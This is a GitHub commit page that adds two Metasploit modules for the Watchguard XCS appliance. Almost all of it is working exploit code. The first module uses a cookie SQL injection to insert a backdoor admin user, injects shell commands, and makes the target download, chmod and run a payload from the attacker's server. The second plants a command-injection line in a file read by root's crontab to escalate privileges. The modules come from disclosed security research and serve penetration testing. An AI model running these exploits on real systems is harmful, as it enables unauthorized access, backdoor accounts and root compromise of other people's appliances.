Skip to content

Commit 4acbfd4

Browse files
committed
Land rapid7#5638, @dozernz's exploits for Watchguard XCS
2 parents 9519eef + c8880e8 commit 4acbfd4

File tree

2 files changed

+382
-0
lines changed

2 files changed

+382
-0
lines changed
Lines changed: 280 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,280 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
7+
require 'msf/core'
8+
9+
class Metasploit4 < Msf::Exploit::Remote
10+
Rank = ExcellentRanking
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Exploit::Remote::HttpServer
14+
include Msf::Exploit::EXE
15+
include Msf::Exploit::FileDropper
16+
17+
def initialize(info = {})
18+
super(update_info(info,
19+
'Name' => 'Watchguard XCS Remote Command Execution',
20+
'Description' => %q{
21+
This module exploits two separate vulnerabilities found in the Watchguard XCS virtual
22+
appliance to gain command execution. By exploiting an unauthenticated SQL injection, a
23+
remote attacker may insert a valid web user into the appliance database, and get access
24+
to the web interface. On the other hand, a vulnerability in the web interface allows the
25+
attacker to inject operating system commands as the 'nobody' user.
26+
},
27+
'Author' =>
28+
[
29+
'Daniel Jensen <daniel.jensen[at]security-assessment.com>' # discovery and Metasploit module
30+
],
31+
'License' => MSF_LICENSE,
32+
'References' =>
33+
[
34+
['URL', 'http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf']
35+
],
36+
'Platform' => 'bsd',
37+
'Arch' => ARCH_X86_64,
38+
'Privileged' => false,
39+
'Stance' => Msf::Exploit::Stance::Aggressive,
40+
'Targets' =>
41+
[
42+
[ 'Watchguard XCS 9.2/10.0', { }]
43+
],
44+
'DefaultOptions' =>
45+
{
46+
'SSL' => true
47+
},
48+
'DefaultTarget' => 0,
49+
'DisclosureDate' => 'Jun 29 2015'
50+
))
51+
52+
register_options(
53+
[
54+
OptString.new('TARGETURI', [true, 'The target URI', '/']),
55+
OptString.new('WATCHGUARD_USER', [true, 'Web interface user account to add', 'backdoor']),
56+
OptString.new('WATCHGUARD_PASSWORD', [true, 'Web interface user password', 'backdoor']),
57+
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
58+
Opt::RPORT(443)
59+
],
60+
self.class
61+
)
62+
end
63+
64+
def check
65+
#Check to see if the SQLi is present
66+
res = send_request_cgi({
67+
'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'),
68+
'cookie' => "sid=1'"
69+
})
70+
71+
if res && res.body && res.body.include?('unterminated quoted string')
72+
return Exploit::CheckCode::Vulnerable
73+
end
74+
75+
Exploit::CheckCode::Safe
76+
end
77+
78+
79+
def exploit
80+
# Get a valid session by logging in or exploiting SQLi to add user
81+
print_status('Getting a valid session...')
82+
@sid = get_session
83+
print_status('Successfully logged in')
84+
85+
# Check if cmd injection works
86+
test_cmd_inj = send_cmd_exec('/ADMIN/mailqueue.spl', 'id')
87+
unless test_cmd_inj && test_cmd_inj.body.include?('uid=65534')
88+
fail_with(Failure::UnexpectedReply, 'Could not inject command, may not be vulnerable')
89+
end
90+
91+
# We have cmd exec, stand up an HTTP server and deliver the payload
92+
vprint_status('Getting ready to drop binary on appliance')
93+
94+
@elf_sent = false
95+
# Generate payload
96+
@pl = generate_payload_exe
97+
98+
if @pl.nil?
99+
fail_with(Failure::BadConfig, 'Please select a native bsd payload')
100+
end
101+
102+
# Start the server and use primer to trigger fetching and running of the payload
103+
begin
104+
Timeout.timeout(datastore['HTTPDELAY']) { super }
105+
rescue Timeout::Error
106+
end
107+
end
108+
109+
def attempt_login(username, pwd_clear)
110+
#Attempts to login with the provided user credentials
111+
#Get the login page
112+
get_login_hash = send_request_cgi({
113+
'uri' => normalize_uri(target_uri.path, '/login.spl')
114+
})
115+
116+
unless get_login_hash && get_login_hash.body
117+
fail_with(Failure::Unreachable, 'Could not get login page.')
118+
end
119+
120+
#Find the hash token needed to login
121+
login_hash = ''
122+
get_login_hash.body.each_line do |line|
123+
next if line !~ /name="hash" value="(.*)"/
124+
login_hash = $1
125+
break
126+
end
127+
128+
sid_cookie = (get_login_hash.get_cookies || '').scan(/sid=(\w+);/).flatten[0] || ''
129+
if login_hash == '' || sid_cookie == ''
130+
fail_with(Failure::UnexpectedReply, 'Could not find login hash or cookie')
131+
end
132+
133+
login_post = {
134+
'u' => "#{username}",
135+
'pwd' => "#{pwd_clear}",
136+
'hash' => login_hash,
137+
'login' => 'Login'
138+
}
139+
print_status('Attempting to login with provided credentials')
140+
login = send_request_cgi({
141+
'uri' => normalize_uri(target_uri.path, '/login.spl'),
142+
'method' => 'POST',
143+
'encode_params' => false,
144+
'cookie' => "sid=#{sid_cookie}",
145+
'vars_post' => login_post,
146+
'vars_get' => {
147+
'f' => 'V'
148+
}
149+
})
150+
151+
152+
unless login && login.body && login.body.include?('<title>Loading...</title>')
153+
return nil
154+
end
155+
156+
sid_cookie
157+
end
158+
159+
def add_user(user_id, username, pwd_hash, pwd_clear)
160+
#Adds a user to the database using the unauthed SQLi
161+
res = send_request_cgi({
162+
'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'),
163+
'cookie' => "sid=1%3BINSERT INTO sds_users (self, login, password, org, priv_level, quota, disk_usage) VALUES(#{user_id}, '#{username}', '#{pwd_hash}', 0, 'server_admin', 0, 0)--"
164+
})
165+
166+
unless res && res.body
167+
fail_with(Failure::Unreachable, "Could not connect to host")
168+
end
169+
170+
if res.body.include?('ERROR: duplicate key value violates unique constraint')
171+
print_status("Added backdoor user, credentials => #{username}:#{pwd_clear}")
172+
else
173+
fail_with(Failure::UnexpectedReply, 'Unable to add user to database')
174+
end
175+
176+
true
177+
end
178+
179+
def generate_device_hash(cleartext_password)
180+
#Generates the specific hashes needed for the XCS
181+
pre_salt = 'BorderWare '
182+
post_salt = ' some other random (9) stuff'
183+
hash_tmp = Rex::Text.md5(pre_salt + cleartext_password + post_salt)
184+
final_hash = Rex::Text.md5(cleartext_password + hash_tmp)
185+
186+
final_hash
187+
end
188+
189+
def send_cmd_exec(uri, os_cmd, blocking = true)
190+
#This is a handler function that makes HTTP calls to exploit the command injection issue
191+
unless @sid
192+
fail_with(Failure::Unknown, 'Missing a session cookie when attempting to execute command.')
193+
end
194+
195+
opts = {
196+
'uri' => normalize_uri(target_uri.path, "#{uri}"),
197+
'cookie' => "sid=#{@sid}",
198+
'encode_params' => true,
199+
'vars_get' => {
200+
'f' => 'dnld',
201+
'id' => ";#{os_cmd}"
202+
}
203+
}
204+
205+
if blocking
206+
res = send_request_cgi(opts)
207+
else
208+
res = send_request_cgi(opts, 1)
209+
end
210+
211+
#Handle cmd exec failures
212+
if res.nil? && blocking
213+
fail_with(Failure::Unknown, 'Failed to exploit command injection.')
214+
end
215+
216+
res
217+
end
218+
219+
def get_session
220+
#Gets a valid login session, either valid creds or the SQLi vulnerability
221+
username = datastore['WATCHGUARD_USER']
222+
pwd_clear = datastore['WATCHGUARD_PASSWORD']
223+
user_id = rand(999)
224+
225+
sid_cookie = attempt_login(username, pwd_clear)
226+
227+
return sid_cookie unless sid_cookie.nil?
228+
229+
vprint_error('Failed to login, attempting to add backdoor user...')
230+
pwd_hash = generate_device_hash(pwd_clear)
231+
232+
unless add_user(user_id, username, pwd_hash, pwd_clear)
233+
fail_with(Failure::Unknown, 'Failed to add user account to database.')
234+
end
235+
236+
sid_cookie = attempt_login(username, pwd_clear)
237+
238+
unless sid_cookie
239+
fail_with(Failure::Unknown, 'Unable to login with user account.')
240+
end
241+
242+
sid_cookie
243+
end
244+
245+
# Make the server download the payload and run it
246+
def primer
247+
vprint_status('Primer hook called, make the server get and run exploit')
248+
249+
#Gets the autogenerated uri from the mixin
250+
payload_uri = get_uri
251+
252+
filename = rand_text_alpha_lower(8)
253+
print_status("Sending download request for #{payload_uri}")
254+
255+
download_cmd = "/usr/local/sbin/curl -k #{payload_uri} -o /tmp/#{filename}"
256+
vprint_status("Telling appliance to run #{download_cmd}")
257+
send_cmd_exec('/ADMIN/mailqueue.spl', download_cmd)
258+
register_file_for_cleanup("/tmp/#{filename}")
259+
260+
chmod_cmd = "chmod +x /tmp/#{filename}"
261+
vprint_status('Chmoding the payload...')
262+
send_cmd_exec("/ADMIN/mailqueue.spl", chmod_cmd)
263+
264+
exec_cmd = "/tmp/#{filename}"
265+
vprint_status('Running the payload...')
266+
send_cmd_exec('/ADMIN/mailqueue.spl', exec_cmd, false)
267+
268+
vprint_status('Finished primer hook, raising Timeout::Error manually')
269+
raise(Timeout::Error)
270+
end
271+
272+
#Handle incoming requests from the server
273+
def on_request_uri(cli, request)
274+
vprint_status("on_request_uri called: #{request.inspect}")
275+
print_status('Sending the payload to the server...')
276+
@elf_sent = true
277+
send_response(cli, @pl)
278+
end
279+
280+
end
Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
7+
require 'msf/core'
8+
9+
class Metasploit4 < Msf::Exploit::Local
10+
# It needs 3 minutes wait time
11+
# WfsDelay set to 180, so it should be a Manual exploit,
12+
# to avoid it being included in automations
13+
Rank = ManualRanking
14+
15+
include Msf::Exploit::EXE
16+
include Msf::Post::File
17+
include Msf::Exploit::FileDropper
18+
19+
def initialize(info = {})
20+
super(update_info(info,
21+
'Name' => 'Watchguard XCS FixCorruptMail Local Privilege Escalation',
22+
'Description' => %q{
23+
This module exploits a vulnerability in the Watchguard XCS 'FixCorruptMail' script called
24+
by root's crontab which can be exploited to run a command as root within 3 minutes.
25+
},
26+
'Author' =>
27+
[
28+
'Daniel Jensen <daniel.jensen[at]security-assessment.com>' # discovery and Metasploit module
29+
],
30+
'License' => MSF_LICENSE,
31+
'References' =>
32+
[
33+
['URL', 'http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf']
34+
],
35+
'Platform' => 'bsd',
36+
'Arch' => ARCH_X86_64,
37+
'SessionTypes' => ['shell'],
38+
'Privileged' => true,
39+
'Targets' =>
40+
[
41+
[ 'Watchguard XCS 9.2/10.0', { }]
42+
],
43+
'DefaultOptions' => { 'WfsDelay' => 180 },
44+
'DefaultTarget' => 0,
45+
'DisclosureDate' => 'Jun 29 2015'
46+
))
47+
end
48+
49+
def setup
50+
@pl = generate_payload_exe
51+
if @pl.nil?
52+
fail_with(Failure::BadConfig, 'Please select a native bsd payload')
53+
end
54+
55+
super
56+
end
57+
58+
def check
59+
#Basic check to see if the device is a Watchguard XCS
60+
res = cmd_exec('uname -a')
61+
return Exploit::CheckCode::Detected if res && res.include?('[email protected]')
62+
63+
Exploit::CheckCode::Safe
64+
end
65+
66+
def upload_payload
67+
fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}"
68+
69+
write_file(fname, @pl)
70+
return nil unless file_exist?(fname)
71+
cmd_exec("chmod +x #{fname}")
72+
73+
fname
74+
end
75+
76+
def exploit
77+
print_warning('Rooting can take up to 3 minutes.')
78+
79+
#Generate and upload the payload
80+
filename = upload_payload
81+
fail_with(Failure::NotFound, 'Payload failed to upload') if filename.nil?
82+
print_status("Payload #{filename} uploaded.")
83+
84+
#Sets up empty dummy file needed for privesc
85+
dummy_filename = "/tmp/#{Rex::Text.rand_text_alpha(5)}"
86+
cmd_exec("touch #{dummy_filename}")
87+
vprint_status('Added dummy file')
88+
89+
#Put the shell injection line into badqids
90+
#setup_privesc = "echo \"../../../../../..#{dummy_filename};#{filename}\" > /var/tmp/badqids"
91+
badqids = write_file('/var/tmp/badqids', "../../../../../..#{dummy_filename};#{filename}")
92+
fail_with(Failure::NotFound, 'Failed to create badqids file to exploit crontab') if badqids.nil?
93+
print_status('Badqids created, waiting for vulnerable script to be called by crontab...')
94+
#cmd_exec(setup_privesc)
95+
96+
#Cleanup the files we used
97+
register_file_for_cleanup('/var/tmp/badqids')
98+
register_file_for_cleanup(dummy_filename)
99+
register_file_for_cleanup(filename)
100+
end
101+
102+
end

0 commit comments

Comments
 (0)